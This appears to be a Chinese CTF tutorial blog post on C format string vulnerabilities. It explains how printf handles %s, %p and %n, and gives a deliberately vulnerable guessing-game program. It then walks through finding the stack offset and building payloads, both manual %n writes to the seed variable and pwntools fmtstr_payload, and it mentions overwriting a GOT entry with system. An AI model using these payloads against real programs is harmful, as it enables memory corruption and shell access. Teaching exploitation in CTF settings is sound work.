格式化字符串漏洞原理:
printf函数是c语言当中非常重要的格式化输出函数
其函数原型为:int printf(const char *format, ...);
其函数返回值:打印出的字符格式
其调用格式为:printf("<格式化字符串>", <参量表>);
对于每一个转换说明符(%s之类),printf都会从栈中寻找一个变量,并且视为一个字符串的地址,然后printf会尝试寻找这些地址所对应的字符串,并复制到格式化字符串中去输出,如果栈中的值指向的地址无法访问或不存在,那么printf会输出空值。
另一种理解:在进入 printf() 函数之前,将参数从右到左依次压栈。进入printf() 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 % ,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。
格式化字符串漏洞做题思路:1.先找偏移量,2.直接构造payload进行栈溢出
常见题型:1.伪随机数,2.直接利用printf函数将flag打印出来,3.将某个函数的地址改写成后门函数的地址(利用fmtstr_payload()函数)
几种转换说明符:
%s:获取指定变量所对应地址的内容,只不过有零截断。(%2$s:表示栈上第二个空间内容)
%p:把指向的内存的值直接输出,并不会作为一个地址去访问指向的东西,可以避免程序崩溃。
%n:它会把读取到的值视为一个地址,并把printf已经输出的字符数量写入到这个地址指向的位置。%6$n表示往第六个参数指向的内存中写内容(不输出字符)【核心:写入目标地址的值 = 已经输出的字符数量】
注意:32位和64位是不同的
那我们如何利用%n呢?利用以下例题说明
源代码:
#include<stdio.h> #include<time.h> #include<stdlib.h> int seed = 0; int init() { fflush(stdin); fflush(stdout); fflush(stderr); setvbuf(stdin,0,_IONBF,0); setvbuf(stdin,0,_IONBF,0); setvbuf(stderr,0,_IONBF,0); return alarm(0x14); } int main() { init(); char name[100]; int input; int i = 1; seed = (unsigned int)time(NULL); printf("请输入你的名字: "); fflush(stdout); read(0, name, 99); printf(name); fflush(stdout); printf("小明和小红非常喜欢猜数字,这天小明找到小红,他让小红心里面随便想一个0-9的数字,然后小明来猜数字是多少,如果十次都猜对了的话小红就帮小明写作业,你能帮小明实现愿望吗? "); fflush(stdout); srand(seed); while (i < 11) { printf("现在是第%d次,请输入你帮小明猜的数字:", i); fflush(stdout); int num = rand() % 10; scanf("%d", &input); if (num == input) printf("猜对了 "); else { printf("猜错了,是%d ", num); fflush(stdout); exit(1); } i++; } printf("小红说:”小明你真厉害“ "); fflush(stdout); system("/bin/sh"); }
我们在Ubuntu上运行elf文件,输入AAAA.%p.%p.........
看到0x41414141得知printf第五个%p时输出了AAAA(即偏移量为5)
此时如果我们把AAAA替换成seed的地址,把%p换成%n,那么%n就会从AAAA的位置读取值,并且视为一个地址,把已经输出的字符数写入到这个地址,来达到控制随机数种子的目的。
该题是32位所以seed占4字节,需要覆盖5~8这4个空间来达到完全控制随机数种子目的
payload如下:
payload = p32(seed_addr) + p32(seed_addr + 1) + p32(seed_addr + 2) + p32(seed_addr + 3) + b'%5$n%6$n%7$n%8$n'
第二种解题方法:利用fmtstr_payload()函数直接攻击
函数用法:fmtstr_payload(offset,{原地址(要写入数据的地址):X(字符数量或目的函数)})
函数原型:fmtstr_payload(offset,writes,numbwritten=0,write_size='byte')
offset(int):表示格式化字符串偏移量;
writes(dic):格式为{addr:value , addr2:value2},用于往addr里写入value的值,表示利用%n写入的数据,采用python字典形式:{seed:1}【将seed的值改成1】或者可以将printf_got改为system()地址直接进行提权:{printf_got:system_addr}。
numbwritten(int):已经由printf函数写入的字节数,没有设置0,采用默认值即可;
write_size:表示写入方式:hhn(byte,按字节写入)、hn(short,两字节写入)、n(int,四字节写入)
默认值是byte,即按hhn写入。
fmtstr_payload()返回结果就是payload
payload = fmtstr_payload(5,{seed:1})
这里我们把seed种子直接设置为1以便固定随机数种子。
总结:
如果要自己采用"%x$n"的方式手动构造payload容易出错,所以使用pwntools中的FmtStr格式化字符串类来解决格式化字符串漏洞比较方便做题。
如果有什么错误的地方请师傅们告诉我一下。
本文制作不易,盗版必究